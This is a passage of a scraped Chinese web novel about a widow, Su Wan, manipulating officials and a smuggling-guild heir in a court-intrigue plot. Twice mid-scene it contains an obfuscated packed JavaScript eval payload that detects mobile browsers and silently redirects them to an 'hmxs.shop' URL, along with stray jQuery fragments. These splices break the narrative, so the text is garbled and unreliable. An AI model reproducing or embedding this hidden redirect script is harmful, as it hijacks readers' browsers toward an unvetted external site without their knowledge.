苏晚今日的装扮,从发型到衣裙,甚至身上的熏香,都是根据赵衾给的关于方铭岂那段隐秘旧情的资料精心准备的。 据说,方铭岂年轻时也是那般桀骜不服管教。只是后来,他年少时那位求而不得的表妹早逝后,他便彻底变了性子,如今与谢家虽结亲,可倒没有那么多感情。 “锦心坊……苏晚……”方铭岂回过神来,眼神依旧黏在她身上,灼热得几乎要将人烫伤。他听说过这个名字,最近与赵衾搅在一起,颇有风头的那个寡妇。 可没想到,她竟生得如此像婉娘。 “无妨。”方铭岂立刻换上一副温和的面孔,亲自走上前,“原来是苏管事,早有耳闻。既是误会,何来惊扰?苏管事若不嫌弃,不妨进来饮一杯水酒,也算……压压惊?” 方铭岂亲自为苏晚斟了一杯酒,指尖有意无意地掠过她持杯的手背。< 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“大人厚爱,民女惶恐。只是……民女身份低微,又是孀居之人,实在不宜久留,恐惹闲话,也怕污了大人的清名。”她声音渐低,脑袋也埋了下去。将一个谨慎知礼又带着几分自卑的寡妇形象演绎得淋漓尽致。 这欲拒还迎的姿态,反而更加激起了方铭岂的兴趣和征服欲。他见过的女人太多了,投怀送抱的,故作清高的,都不如眼前这个明明害怕却强装镇定,想逃又因礼数不敢逃的模样来得新鲜刺激,更何况她还顶着这样一张脸。 “清名?”方铭岂嗤笑一声,眼中闪过一丝对世俗礼教的不屑,“那些虚名,何足挂齿。方某相交,只论投缘。” 他身体微微前倾,声音压低,带着蛊惑,“苏管事放心,此处皆是方某心腹,无人敢多言。只是聊聊天解趣,莫非……苏管事是嫌弃方某?” “民女不敢!”苏晚连忙摇头,脸上飞起一抹窘迫的红晕,仿佛被他这句话吓到,又不敢反驳。她重新坐了回去,却只坐了椅子的三分之一,背脊挺直,双手拘谨地放在膝上。 这副抗拒和顺从的模样,让方铭岂心中那点疑虑和戒备消了大半。这种无意间的“巧合”,更让人心动。 雅间内其余几人见状,早已识趣地借口退了出去,只留下方铭岂与苏晚二人。 方铭岂撑着下巴,就这么静静盯着苏晚,他太久太久没有见过这张脸了,他的婉娘…… “这香……” 他看着女人羞涩的面孔,思绪被拉了回来,因为声音,并不像她。 苏晚继续道:“不过是些自制的兰草合香,粗陋得很,难入大人法眼。” 她抬眼时眸光流转,带着几分哀愁,“民女命薄,夫君早逝,平日里也唯有这些香草木石相伴,聊以慰藉。” “命薄……”方铭岂咀嚼着这两个字,看着眼前这张与记忆中重合的脸,心头那股压抑多年的悸动与遗憾翻涌而上。 他的婉娘,也是红颜薄命 “苏管事不必自谦。”他的声音放得更柔,带着诱哄的意味,“方某平生亦好香道,府中收藏颇丰。若苏管事不弃,改日可来府中品鉴,或许……能寻到知音。” 苏晚心中快速盘算 进入谢家女婿的府邸,无疑是深入虎穴,但也是获取核心信息的最佳机会。 就在她思索之际,方铭文伸出手,触碰着她颊边散落的发丝。 而雅间的门,也被猛地推开 李既白站在门口,脸色阴沉得几乎能滴出水来。 41. 第四十一章 他本是接到线报,说方铭岂在此密会,便想来看看能否抓到些把柄,却万万没想到,会看到苏晚与方铭岂相对而坐,距离暧昧,方铭岂的手正要伸向她,而她……竟没有躲闪的意思! 他只觉得一股热血直冲头顶,眼前发黑。 她为了达到目的,不惜用这种方式,与方铭岂这种人周旋? 赵衾还不够吗?现在又是方铭岂?而为什么,她偏偏就是不愿听自己的话! “李大人?”方铭岂迅速收回手,脸上闪过被打扰的不悦,但很快换上客套的笑容,“什么风把您吹来了?” 苏晚在看到李既白的那一刹那,身体几不可察地僵了一下,但随即迅速低下头,更加深了方铭岂那“娇羞”的印象。 李既白没有理会方铭岂,他一步步走进来,“本官循例巡查,听闻方大人在此,特来一见。”他的声音沙哑紧绷,“倒是没想到……苏管事也在。” 苏晚站起身,努力维持着镇定:“民女参见李大人。民女与友人在此小聚,走错了房间,巧遇方大人,方大人好意留民女饮杯水酒赔罪。” “走错房间?巧遇?”李既白重复着这两个词,“苏管事还真是,缘分不浅。” 她为了那些证据,竟可以做到这一步吗? 那他在她心里,究竟算什么? 还是……什么都不是? 方铭岂察觉到两人之间诡异的气氛,眼中精光一闪,故意笑道:“确是巧遇。苏管事风姿出众,谈吐不俗,方某一见如故。李大人不会连方某与友人饮酒,也要过问吧?” 李既白转头,几乎是睨着眼看向方铭岂,“方大人交友,本官自然无权过问。只是提醒方大人一句,漕运案未结,相关人等,还是避嫌为好。以免惹祸上身。” 这话已是赤裸裸的警告。 方铭岂脸色微沉:“李大人此言何意?方某行事光明磊落,何须避嫌?” “光明磊落?”李既白冷笑一声,不再看他,可转而,声音低沉,不知是对谁说的:“好自为之。” 说完,他不再停留,决然转身,离开了雅间。 他怕自己再待下去,会控制不住地质问她,会做出更不理智的事情。 现在,他的确什么都不是。 苏晚看着他就这样离开,心脏莫名地抽痛了一下。他最后那个眼神,像是一盆冰水,可她张了张嘴,却什么也说不出来。 “李大人似乎对苏管事颇为关切?”方铭岂的声音将她拉回现实,带着探究。 苏晚收敛心神,重新挂上温婉的笑容:“李大人是钦差,关心治下百姓安危,亦是常理。倒是民女,今日实在唐突,扰了大人雅兴。时辰不早,民女也该告辞了。” 方铭岂虽心有不舍,但也知不宜强留,毕竟李既白方才的态度已显端倪。他起身相送:“今日与苏管事相谈甚欢,方某所言品香之约,随时有效。苏管事若有空,定要赏光。” “多谢大人美意。”苏晚屈膝行礼,不再多言,在方铭岂灼灼的目光中,离开了雅间。 苏晚离开了得月楼,可心脏却在胸腔里狂跳,不是因为方铭岂那令人作呕的窥伺,而是因为李既白最后那个眼神。 那眼神像一根针,扎在她心上,带来一阵陌生的抽痛。她用力甩头,试图将那种不适感驱散。 李既白怎么想,与她何干?她只是在做必须做的事情。 可心头那股莫名的烦躁却挥之不去。 她没有回锦心坊,而是吩咐车夫调转方向,径直去了涵碧轩。 赵衾似乎早已在等她,水榭里温着茶,见她踏入,脸上露出赞赏的笑容,亲自为她斟了一杯。 “如何?”他开门见山,眼神里是毫不掩饰的期待,“我方才收到消息,李既白匆匆赶去了得月楼,面色极为难看。看来我们这出‘巧遇’,效果拔群。” 苏晚接过茶,指尖微微用力,面上却已恢复了平日的清冷镇定:“方铭岂的反应,与二爷所料不差。他确实将我错认,态度十分热切。只是,李既白出现得太快,打断了进一步的试探。” “无妨。”赵衾摆摆手,笑容不减反增,“李既白的出现,本就是意外之喜。他越是震怒,越是失态,便越证明你在他心中分量非同一般,也越能让他方寸大乱,对我们后续行事,未必是坏事。”他语气笃定,带着一种将一切都算计在内的从容,“倒是你,晚晚,面对李既白那般情状,可曾心软?” 苏晚抬眸,直视赵衾探究的目光,语气没有丝毫波澜:“心软?二爷说笑了。棋子已落,岂有后悔之理?李大人如何想,与我的谋划无关。我关心的,是如何从方铭岂这条线,撕开谢家的口子。” 她这番冷静到近乎冷酷的回答,让赵衾眼中的赞赏更浓。 他站起身,走到她身侧,微微俯身,温柔道:“我说过,我会护着你。我们的婚约,并非儿戏。待此间事了,淮州乃至江南,谁还敢欺你分毫?你想要重振锦心坊,或是做别的生意,我都会全力支持你。” 他的气息靠近,带着淡淡的檀香。苏晚没有躲闪,只垂着眼睫,沉默不语。这沉默在赵衾看来,更像是一种无声的动摇和默许。 他心中得意更甚,趁热打铁道:“整日里算计筹谋,想必你也乏了。明日城东有庙会,很是热闹,不若你我同去散散心?也免得你总是闷在坊里,或是见些不该见的人。” 最后一句,意有所指。 苏晚抬起眼,似乎犹豫了片刻。庙会人多眼杂,对她来说或许是个观察形势,甚至传递消息的机会。而且,赵衾此刻的“邀请”,正是她“加深关系”里需要的一幕。 “也好。”她终于轻轻点了点头,声音不大,却清晰地传入赵衾耳中,“整日对着废墟,也确实闷得慌。” 赵衾脸上绽开一个真心实意的笑容,仿佛赢得了某种胜利,“那便说定了,明日申时,我来接你。” 离开涵碧轩,坐上马车,苏晚脸上那抹恰到好处的疲惫和松动瞬间消失。 赵衾信了,至少信了七八分。他认为自己正在一步步走进他的掌控,成为他棋盘上更听话的棋子。 很好 一切都在自己预想中的进行 —— 申时刚过,赵衾的马车准时停在锦心坊外。他今日换了一身靛蓝色锦袍,玉冠束发,少了平日几分的阴鸷,倒像个温润的世家公子。苏晚也默契般换了身藕荷色衣裙,发间只簪了珠花,清雅素净,别有一番韵味。 “晚晚。”赵衾亲自下车,伸手欲扶她。 苏晚目光在他伸出的手上停留一瞬,顺着他的胳膊扶上去:“有劳二爷。” 赵衾面上被笑意掩盖:“走吧,今日难得闲暇。” 城东庙会热闹非凡。人流如织,锣鼓喧天,各色摊贩吆喝不绝,糖人、面塑、杂耍、戏台……应有尽有。 赵衾刻意放慢脚步,与苏晚并肩而行,不时指着一些新奇玩意儿与她说话,姿态亲昵,引来不少路人侧目。 就在他们停在一个卖绣线的摊子前,苏晚佯装挑选时< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16819007|186703||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>一个满脸愤恨的中年汉子突然从人群中冲出来,手里抓着一个破碗,里面似乎是馊水,直直朝着赵衾砸过来。 “赵衾,你这个黑心烂肺的畜生!强占我家的船坞,逼死我爹!你不得好死!”他嘶声怒吼。 事发突然,赵衾身边的护卫反应不及,眼看那污物就要泼到赵衾身上。赵衾眼神一冷,正欲侧身闪避,却见身侧的苏晚向前一步,张开手臂挡在了他身前。 “哗啦——” 大半污物泼在了苏晚的袖子和裙摆上,恶臭弥漫开来。那汉子见没泼中赵衾,更是激愤:“赵衾,你这等不仁不义,专干断子绝孙勾当的烂人!活该你生来克母,你这个丧门星!” “克母”二字,狠狠刺入赵衾的耳中。他脸上那惯有的笑容冻结住,眼底翻涌起一片骇人的血色,他拳头捏得咯咯作响。 这几乎是他的逆鳞,是他内心深处最不可触碰的伤疤。周围的空气仿佛都凝固了,护卫们迅速上前按住那仍在叫骂的汉子,等待赵衾的命令。 然而,不等赵衾发作,一个声音响了起来,盖过了汉子的叫骂和周围的窃窃私语。 “住口!” 苏晚抬起手,用干净的帕子擦了擦溅到脸颊的一点污渍,动作不疾不徐。她没有先理会自己脏污的衣裙,而是转身直面那个被按住的汉子,以及周围所有看热闹的人群。 她的声音并不高亢,却带着穿透力,“这位大哥,” 苏晚看着那汉子,语气平静,“你说赵二爷强占你家船坞,逼死你爹,可有官府出具的文书凭证?若无凭证,便是诬告。你方才所为,更是当众行凶,按律当杖责拘押。” 汉子被她冷静的气势慑住,一时语塞,但随即梗着脖子叫道:“谁不知道他赵衾在淮州一手遮天!官府,官府敢管他吗?” “哦?”苏晚眉梢微挑,“既然官府都不敢管,你又如何敢在此当街辱骂,甚至行凶?莫非是有人指使,故意在此搅乱庙会,挑衅生事?” 汉子脸色一变,眼神闪烁。 苏晚不再看他,转而面向周围渐渐聚拢的百姓,“诸位乡亲,是非曲直,自有公论,律法章程,亦非虚设。若真有冤情,当去衙门击鼓鸣冤,呈上证物,而非在此逞一时口舌之快,行污秽下作之举。此等行径,不仅于事无补,更可能……为人所利用,成了他人手中的刀。” 她顿了顿,目光落回赵衾身上,此刻的赵衾正看着她,眼神复杂难辨。 苏晚的声音放缓了些,却依旧坚定:“至于‘克母’之言,更是荒谬至极!生老病死,乃天理循环。将至亲离世归咎于无辜婴孩,是愚昧,更是残忍!以此攻讦他人,其心可诛!” 她每一个字都掷地有声,逻辑清晰,驳斥了汉子的指控,更将其斥为愚昧残忍。一时间,周围议论的风向隐隐变了,不少人看向那汉子的目光带上了怀疑,而看向苏晚的眼神则多了几分敬佩。 那汉子被她说得面红耳赤,在护卫的压制下挣扎着,却再难吐出有力的反驳。 苏晚这才转向赵衾,仿佛才注意到他阴沉的脸色和紧握的拳头。她轻轻叹了口气,从竹儿手中接过另一块干净帕子,没有递给他,而是微微踮起脚,伸手,用帕子轻轻拂去他肩头上落下的一点灰。 “二爷,”她声音很轻,只有他们两人能听清,“疯犬吠日,何必介怀?” 她的动作自然,语气安抚。那轻轻一拂,拂去的不是灰尘,而是他心头翻腾起的暴戾和那深入骨髓的冰冷寒意。 赵衾浑身一震。 42. 第四十二章 马车驶出闹市,沿着淮水河岸前行。河风带着水汽吹入,稍稍驱散了那点异味,也带来了两岸的风景。远处帆影点点,近处杨柳依依,炊烟袅袅升起,一片江南暮色。 许是感受到了光线的变化,苏晚缓缓睁开了眼睛。她没有去看赵衾,而是将目光投向车窗外的河水与对岸的景致。 “淮水到了春日,总是这般烟波浩渺,”她开口,声音很轻,像是自言自语,“让人想起京城的护城河,到了这个时节,两岸的桃花也该开了,灼灼其华,映着巍峨的城墙,是另一种气象。” 赵衾微微一怔,没想到她会主动提起京城,“晚晚去过京城?” “幼时随家中长辈去过几次。”苏晚依旧看着窗外,侧脸在夕阳下显得柔和,“京城繁华,规矩也大,街市宽阔,人流如织,与江南的市井烟火全然不同。那里的点心铺子,做的茯苓糕和豌豆黄,倒是精致。” 她语气平淡,只是在回忆寻常往事,却让赵衾心中一动。她提及京城时的熟稔和那种淡然的口吻,绝不像一个普通江南商贾之女所能拥有。 这更印证了他之前的猜测,苏晚绝非表面上那么简单。 “那西境呢?”赵衾忍不住追问,他记得,黎昭月及笄前曾在西境生活过三年,“听闻西境苦寒,风沙极大,与江南更是天壤之别。” 提到西境,苏晚的眼神微微飘远,“西境啊……” 她声音里带上了些许不一样的温度,“那里的确苦寒,春秋短暂,冬日漫长,风吹在脸上像刀子。但那里的天空极高,极蓝,夜晚的星星仿佛触手可及,格外明亮。戈壁滩一望无际,苍凉壮阔,是江南水乡永远无法企及的浩瀚。在那里待久了,人的心胸也会开阔些,有些在精致园林里想不明白的烦恼,到了天地之间,便觉得不值一提了。” 她的描述生动又充满画面感,没有抱怨苦寒,反而带着独特的欣赏。赵衾听着,仿佛也随着她的话语,看到了西境高阔的蓝天,璀璨的星河和无垠的戈壁。 他生于江南,长于江南,见惯了杏花微雨,听惯了吴侬软语,对那片遥远粗犷的土地只有模糊的想象。可从她口中说出来,却别有一番令人心折的壮美与豁达。 他不由得重新审视身边这个女子。 她不仅能在锦绣堆里打理绣坊,周旋于各方势力之间,也能在危机时刻冷静果决,智谋过人。更有着超越寻常闺阁女子的眼界和经历,见识过京城的巍峨,也领略过西境的苍茫。 “晚晚见识之广,胸襟之阔,令赵某汗颜。”赵衾这话,是真心实意的感叹,“寻常女子,终其一生或许都难出闺阁百里,而你……” 苏晚终于转过脸来,看向他,夕阳的余晖在她眼中跳跃,却让人看不清深处的情绪。“见识广又如何?胸襟阔又如何?终究逃不过这世俗的罗网,命运的拨弄。” 她语气中闪过一丝极淡的嘲弄,不知是对自己,还是对这世道,“不过是随波逐流,尽力求生罢了。” 这话说得平淡,却蕴含着深深的无奈。 赵衾心中那点异样的情绪愈发清晰。他见过太多女人,或娇柔依附,或工于心计,或目光短浅。却从未见过像苏晚这样的,明明身陷囹圄,却始终保持着一种内在的清醒,既能低头周旋,又不失自己的风骨与见识。 她就像一株生长在悬崖边的幽兰,环境险恶,却依旧能开出清雅坚韧的花。 马车驶近锦心坊,速度慢了下来。 “到了。”苏晚轻声说,准备起身。 “晚晚,”赵衾忽然开口叫住她,他看着她,眼神多了几分连他自己都未曾完全明了的认真,“今日之事,多谢你。那些话,不必放在心上。以后……有我在。” 最后三个字,他说得有些生涩,却格外清晰。 苏晚动作顿了下,抬眸看他。四目相对,她看到了他眼底尚未完全平息的波澜,以及那褪去了伪装的真挚。 苏晚歪了歪脑袋,展眉一笑,风拂过她垂落的鬓发,笑意漫进眼底,比江南三月的春光还要晃人:“既已同舟,自当共济!” 赵衾坐在马车里,良久未动。指尖似乎还残留着她方才拂过时,衣料极轻微的触感。耳边回响着她描述京城与西境时生动的话语,还有她最后那个灿烂的笑容。 心底一股异样的情绪,如同藤蔓,悄然滋长。 他忽然意识到,或许,他想要的,不仅仅是一个能助他达成目标的“盟友”或“棋子”。 与此同时 北境,落鹰涧大营。 黎昭雪捏着那枚冰凉的莲花令牌,指节因用力而泛白。帐内烛火摇曳,映照着他铁青的脸庞。 小妹送来的账目副本和密信摹本,里面的贪墨治河款,构陷忠良,甚至可能通敌……桩桩件件,直指皇后母族谢氏与东宫一党! “好一个谢家!”黎昭雪一拳砸在案几上,震得笔墨纸砚俱跳。 他想起父母当年谈及慧贵妃与老靖安侯夫妇时的唏嘘,想起黎昭华在齐州遇险的蹊跷,还有自己在落鹰涧被围困的绝望……原来这一切背后,都有谢家和那只来自深宫的黑手在操控! “将军?”副将孙毅闻声而入。 黎昭雪深吸一口气,将令牌和信件小心收好,沉声道:“孙毅,立刻持我令牌,调动我的亲卫队,八百里加急,将这几样东西秘密送往京城,交到林老将军手中!记住,沿途绝密,不得有误!” 林老将军,贤妃林氏之父,镇守北境多年的老帅,亦是朝中少数与谢家素来不睦的军方重臣。 “末将遵命!”孙毅意识到事关重大,双手接过令牌和密信,郑重领命。 “另外,”黎昭雪眼中寒光一闪,“传令下去,全军进入战备状态!严密监视所有可能与江南有牵连的将领动向!没有我的亲笔手令,任何人不得调动一兵一卒,尤其是……靠近粮草重地的兵马。” 为了家人,为了国家,他不能再让任何人有机会卡住北境的咽喉。 齐州,边城军营 黎昭华接到弟弟传来的密信时,正在擦拭她的长枪。 烛光下,她眉宇间的英气比男子更甚。展开信笺,越看,她的脸色越是冰冷,最后勾起一抹森寒的笑意。 “呵,这些蛀虫清了一波竟然还不够。”她低声自语,齐州那次九死一生的“意外”,她在背地里已经将三皇子的眼线杀了个遍,结果又有不长眼的家伙过来。 她举起长枪抛了抛,然后召来自己的副官,也是自幼跟随黎家的家将之后。 “备马,点二十亲卫,随我出城。”黎昭华下令。 “将军,去何处?此时出城恐有风险……”副官担忧道。 “去拜访下那位刚从京城调来不久,负责督查边贸的刘御史。”黎昭华冷笑,长枪恰好刺入飘下的梨花,“这位刘大人,与谢家可是拐着弯的姻亲。他最近,不是对军械库和与北狄的互市账目格外关照吗?” 副官立刻明白了:“将军是怀疑……” “不是怀疑。”黎昭华打断他,眼中闪过狠厉,“是确定。带上我们的东西。”她早就察觉这位刘御史不对劲,暗中收集了一些“材料”,原本只想敲打,如今看来,是该彻底清理门户的时候了。 当夜,黎昭华以“巡查边境”为名出城,直奔刘御史下榻的驿馆。一番“密谈”后,次日清晨,刘御史便突发急症,上书请求回京休养,走得匆忙无比。甚至留下了许多未来得及处理的“私人物品”,其中不乏一些与江南谢家往来过密的信件副本。 这些“意外”获得的线索,连同黎昭华自己掌握的证据,被她以最高级别的军情密报形式,同样送往了京城林老将军处。 京城,东宫

35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16822901|186703||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 鎏金香炉吐纳着昂贵的龙涎香,太子上官麟斜在铺着白虎皮的软榻上,他身形清瘦,眼下带着淡淡的青黑。 华丽的明黄色常服松垮地披着,领口微敞,露出瘦削的锁骨。他手中把玩着一只西域进贡的琉璃夜光杯,神情慵懒,脚边跪着两名身着轻纱的侍女,正小心翼翼地为他捶腿。 一名身着东宫服饰的中年宦官快步而入,“殿下,江南与北境有些新消息。”宦官声音压得很低。 “说。”上官麟眼皮都未抬,将杯中琥珀色的美酒一饮而尽。 “淮州那边,靖安侯李既白对漕运核查步步紧逼,似乎找到了一些旧年账目。谢三爷那边传话,说李既白恐醉翁之意不在酒,背后或有三殿下的影子在推波助澜。此外,漕帮赵衾与那个锦心坊的寡妇苏晚已经定亲,此事在淮州闹得沸沸扬扬。” “老三?” 上官麟嗤笑一声,将空杯随意搁在侍女捧着的玉盘里,“他也就这点本事了,处处与孤作对,连个女人都要拿来恶心孤。李既白,不过是父皇手里一把还算锋利的刀,用完了自然就收了。至于那寡妇和赵衾……” 他嘴角勾起轻蔑的弧度,“商贾与地头蛇的结合,能翻起什么浪?倒是给淮州添了点乐子,还有吗?” “北境黎昭雪将军那边,近来加强了军械粮草管控,对我们之前安排的几处‘关节’看得比以往更严了些。齐州黎昭华将军处,我们的人回报,她前几日以巡查为名,找了刚调去不久督查边贸的刘御史,刘御史次日便称病请辞回京了,走得颇为匆忙。”宦官斟酌着词句。 听到黎家兄妹的名字,上官麟原本漫不经心的神色终于动了动。他挥挥手,示意捶腿的侍女退到远处。 “昭雪和昭华?”他微微蹙眉,但随即又舒展开,露出一丝了然的笑意,“这定是昭华的脾气。刘成那人,仗着与谢家有点拐弯亲,怕是手脚不干净,惹到昭华头上了。她那个性子,眼里最揉不得沙子,父皇和母后都常说她是‘巾帼烈性’。训斥一番,赶走也就罢了。” 他的语气又带上一种笃定的亲昵:“至于昭雪那边收紧管控,北境近来不太平,狄人扰边,他谨慎些也是应当。黎家……”他想起母后时常提及的旧事,语气更缓,“母后对黎家有恩,当年昭华那丫头生下来奄奄一息,是母后亲自出面延请太医,用了宫里的秘药才救回来的,还认了她做干女儿。黎家满门忠烈,最是知恩图报。这些年,孤虽未明着拉拢,但黎家向来不与老三那边亲近,这便够了。他们兄妹,是明白人。” 他压根没将黎家兄妹的动向与江南之事,甚至与可能威胁到自己的事联系起来。 在他根深蒂固的认知里,有那份“救命认亲”的恩情在,黎家即便不明确站队东宫,也绝无可能倒向其他皇子,更不可能去动摇自己的根基。 宦官低头称是,不敢多言。太子殿下对黎家的这份“自信”,很大程度上源于皇后多年的灌输和那份表面恩情带来的错觉。 “倒是老三,”上官麟眼神冷了几分,“在江南搅风搅雨,还想把手伸到北境和齐州去?看来是最近父皇对他太过宽纵了。去,给母后宫里递个话,让母后得空在父皇面前提提,老三的人手脚伸得太长,恐生事端。江南那边,让外祖家的人盯紧李既白和赵衾,若有实证能扯上老三,不必客气。至于那个姓苏的寡妇……” 他眼中闪过一丝阴鸷,“若真是老三安排来搅局的棋子,寻个由头,让她消失。淮州死个把商贾也掀不起风浪。” “是,殿下。”宦官领命,缓缓退下。 上官麟重新靠回软榻,示意侍女上前继续服侍。他闭目养神,心中盘算的,却是今晚该召哪位新进的美人来侍寝。 黎家?他从未真正将其视为需要防备的变数。 若是日后他登基,他还想迎娶黎昭华过门呢。 43. 第四十三章 漕帮总舵,张灯结彩,鼓乐喧天。 漕帮帮主赵筑的五十大寿,是淮州地界一等一的盛事。府邸内外人流如织,贺寿之声不绝于耳。 赵筑今日难得精神矍铄,一身暗红万字纹寿字袍,端坐主位,接受着众人的拜贺。长子赵铭穿梭于宾客之间,代父应酬。 而赵衾,他今日一袭银线滚边墨绿锦袍,玉冠束发,罕见地多了几分世家公子的清贵之气。而他身边,也始终伴着一道清丽的身影。 苏晚一身水蓝色流云广袖长裙,发髻高绾,耳畔垂下两粒小巧的珍珠,衬得她脖颈修长,肤光胜雪。她妆容清淡,眉目间自有一股沉静气度,站在光彩照人的赵衾身边,非但不显逊色,反而有种奇特的和谐。 两人并肩而行,赵衾时不时侧首与苏晚低语,唇角含笑;苏晚则微微颔首,偶尔浅笑回应,俨然已是赵家二公子未来女主人模样。 许多人都在私下议论,看来这桩婚事,已是铁板钉钉,只待良辰吉日了。 寿宴正酣,美酒佳肴流水般呈上,舞姬歌女献艺助兴,气氛热烈。 就在这时,门口传来一阵轻微的骚动,随即是仆从提高的唱喏声: “钦差大臣、靖安侯到——贺赵帮主寿诞!” 喧闹的宴厅瞬间静了几分。所有人都没想到,这位近日在淮州掀起波澜的钦差大人,竟会亲自前来贺寿。 只见李既白一身缟羽色常服,身形挺拔,在墨痕的陪同下,缓步而入。他手中捧着一个礼盒,神色平静无波。 赵筑眼中闪过意外,但很快起身,笑容满面地迎上:“李侯爷大驾光临,老夫有失远迎,快请上座!” “赵帮主客气,今日寿诞,本官特来道贺,略备薄礼,祝帮主福寿安康。” 他的到来,无疑给这场寿宴增添了一层别样的意味。众人心思各异,猜测着这位钦差此时现身,是意味着漕运案已有定论,还是另有所图? 赵衾在看到李既白的那刻眼神微凝,他轻轻握了握身侧苏晚的手,低声道:“晚晚,看来李大人今日,是来‘贺寿’的。” 苏晚垂下眼睫,掩去情绪,只是任由赵衾握着她的手,没有说话。 李既白被引至贵宾席落座,与淮州知府等人同席。他神色自若,与旁人应酬交谈。 他今日来,确实是为了做个了断。 过去几日,他几乎不眠不休,动用了所有能动用的力量,终于拿到了几份关键的证据。虽然还不足以彻底扳倒谢家,但足以坐实当年漕运与盐政部分官员勾结贪墨,以及与谢家利益输送的几桩旧案。 他打算在寿宴后,便以此为由,正式结束在淮州的督察,回京复命。届时,这些证据将直呈御前,足以撼动谢家在江南的部分根基,也能为父母和姨母翻案。 来贺寿,是礼节,也是他给漕帮和谢家最后的一点面子。 宴至中途,气氛愈加热烈。赵筑显然对赵衾近日的表现颇为满意,在多喝了几杯寿酒后,红光满面地拉着赵衾,向几位重要的客人引荐,话语间不乏对次子的夸赞。 赵衾应对得体,风度翩翩。在一次向某位盐商敬酒时,他恰好站在离苏晚极近的位置。 那人借着酒意,打趣道:“赵二爷,苏管事,你们这杯喜酒,我们可是等得脖子都长了!” 旁边的人也大笑着举杯,“就是!郎才女貌,天作之合!赵帮主,您可是双喜临门啊!”众人纷纷附和。 赵衾笑容满面,揽着苏晚的肩膀,将她更近地带到自己身侧,朗声道:“诸位美意,赵某与晚晚心领了!待此间诸事稍定,定请诸位痛饮!” 他话音未落,许是酒意上涌,许是气氛使然,更或许是那连日来滋生的异样情愫作祟。在众人起哄的笑声中,他忽然侧过身,在苏晚猝不及防之际,俯身,极快又极轻柔地在她白皙的侧脸上,落下一个吻。 蜻蜓点水,一触即分。 时间仿佛在这一刻凝固了。 苏晚完全没料到赵衾会在众目睽睽之下有此举动。她猛地睁大了眼睛,身体僵硬,脑中一片空白。脸颊上那一点温热柔软的触感,像火苗一样灼烫。 而周围,先是一静,随即爆发出更大的善意哄笑和起哄声。 “赵二公子好福气!” “苏管事好生娇羞!” “看来喜酒不远了!” 在所有人的注目和哄笑声中,苏晚迅速反应过来。她不能推开,不能表现出过多的抗拒。 于是,在极短的僵滞后,她迅速低下头,双颊以肉眼可见的速度飞起两抹红晕,一直蔓延到耳根。她下意识地抬手,用手背轻轻碰了碰被亲过的脸颊,那姿态,惊愕又羞涩,还有不知所措的娇柔,将一个既羞且喜的女子神态,演绎得淋漓尽致。 “二爷!”她轻嗔一声,声音低若蚊蚋,带着颤音,更添无限风情。 这一声“娇嗔”和那不胜娇羞的模样,彻底点燃了现场的气氛。众人笑声更响,祝福声此起彼伏。 赵衾看着她这从未展露过的羞怯模样,眼中闪过惊艳和一丝连他自己都未觉察的悸动。他笑着将她往自己身边揽了揽,对众人道:“诸位见笑,赵某情难自禁!” 而这一切,都清晰无比地落入了不远处席间的李既白眼中。 就在赵衾俯身亲吻苏晚侧脸的那一刹那,李既白手中的酒杯,“啪”一声轻响,杯壁上出现了一道细微的裂痕。酒液微微晃出,浸湿了他的指尖,冰凉刺骨。 他看着她迅速低下头,看着她脸颊飞红,看着她抬手轻触,听着她那一句娇柔含羞的“二爷”…… 他曾以为,她与赵衾不过是权宜之计,是互相利用。 可眼前,那亲昵,那羞赧,那众人眼中理所当然的般配……像一记最沉重的耳光,狠狠扇醒了他所有的自欺欺人。 她或许,是真的……愿意的。 一股尖锐的痛意猛地从心脏炸开,比新婚夜那支金簪刺入时,还要疼上百倍千倍。他眼前阵阵发黑,周遭的声响刹那间都成了模糊的虚影,仿佛隔着一层厚重的水幕,遥远得不真切。 他仍贪婪地凝望着她低垂的侧脸,那抹嫣红像淬了毒的朱砂,狠狠剜着他的眼。 温热的液体毫无预兆地漫出眼眶,顺着他的下颌线滑落,重重砸在面前的乌木桌案上,洇开一小片深褐的渍痕,快得连他自己都没反应过来。 墨痕站在他身后,看着侯爷惨白到透明的脸色和那不断滚落的泪水,心猛地揪紧,却不敢上前,只能死死攥紧拳头,挡住可能投来的视线。 满座宾客还在举杯打趣,都道赵二爷与苏姑娘是天造地设的璧人,盼着早日喝到喜酒。无人留意到角落里,那位素来冷面的钦差大人,正独自捱着一场无声的凌迟。 暮春的风裹着秦淮河的湿意,卷过乌衣巷的飞檐,又拂过桃叶渡的画舫,将苏晚和赵衾好事将近的消息,吹进了大街小巷。 连平日里最不关心坊间传闻的漕运码头力夫,都能咂着嘴说上一句“苏家娘子好福气,能攀上赵大人这等高枝”,唯有方铭岂,听着仆从在书房外低声复述这些闲话时,指尖摩挲着青瓷茶盏的力道重得几乎要将其捏碎。 他在谢家摸爬滚打十余年,从一个依附妻族的落魄秀才,熬到能在谢家商行说上话的管事,靠的从来不是安分守己。那日苏晚误闯谢家暗仓,旁人只当是商户家眷的无心之失,他却一眼瞧出那绝不是普通商贾之女该有的模样。 可这疑虑,终究抵不过心头那点偏执的妄念。 他总想起初见苏晚时的模样,素衣素裙,眉眼间有七分像早逝的表妹婉娘。当年他娶谢家女,是为了谢家的权势,嘴上说着“此生只认婉娘为妻,绝不与你生半分情谊”,却又日日对着谢家正妻摆脸色,一面享受着妻族带来的便利,一面用冷暴力磋磨着那个温顺的女子。 